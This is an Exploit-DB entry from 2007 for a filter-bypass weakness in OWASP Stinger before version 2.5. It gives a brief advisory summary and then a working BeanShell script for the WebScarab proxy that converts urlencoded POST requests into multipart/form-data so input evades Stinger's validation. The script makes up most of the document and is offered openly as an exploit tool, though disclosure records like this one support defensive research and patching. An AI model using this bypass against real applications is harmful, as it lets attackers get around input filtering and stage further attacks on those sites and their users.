OWASP Stinger - Filter Bypass

EDB-ID:

30491




Platform:

Multiple

Date:

2007-08-13


source: https://www.securityfocus.com/bid/25294/info

OWASP Stinger is prone to a filter-bypass weakness because the application fails to properly handle certain input.

Since the OWASP Stinger project is a software module designed to be incorporated into other applications, this weakness may be exploitable only if applications use it in a vulnerable way.

Successfully exploiting this issue may allow attackers to bypass the filter, aiding them in further attacks.

Versions prior to Stinger 2.5 are vulnerable to this issue. 

/*
 * Multipartify.java - Quick and dirty BeanShell for WebScarab to
 * convert urlencoded POST HTTP requests to multipart requests.
 *
 * Copyright (C) 2007 Meder Kydyraliev <meder@o0o.nu>
 *
 * http://o0o.nu/~meder
 *
 */
import org.owasp.webscarab.model.Request;
import org.owasp.webscarab.model.Response;
import org.owasp.webscarab.httpclient.HTTPClient;
import org.owasp.webscarab.model.NamedValue;
import org.owasp.webscarab.model.MultiPartContent;
import java.io.IOException;

public Response fetchResponse(HTTPClient nextPlugin, Request request) throws IOException {

	private static final String contentType = "multipart/form-data; boundary=o0oo0oo0oo0oo0oo0oo0o";
	private static final String boundary= "\r\n--o0oo0oo0oo0oo0oo0oo0o";
	private static final String contentDisp= "\r\nContent-Disposition: form-data; name=";

	if (request.getMethod().equals("POST") && request.getContent() != null) {
		String body = new String(request.getContent());
		StringBuffer newBody = new StringBuffer();
		NamedValue[] postParams = NamedValue.splitNamedValues(body, "&", "=");
		for (int ix=0; ix < postParams.length; ix++) {
			newBody.append(boundary + contentDisp + "\"" + postParams[ix].getName() + "\"\r\n\r\n" + postParams[ix].getValue() + " ");
		}
		newBody.append(boundary + "--\r\n");
		request.setHeader("Content-Type", contentType);
		request.setContent(newBody.substring(2).getBytes());
	}

	response = nextPlugin.fetchResponse(request);

	return response;
}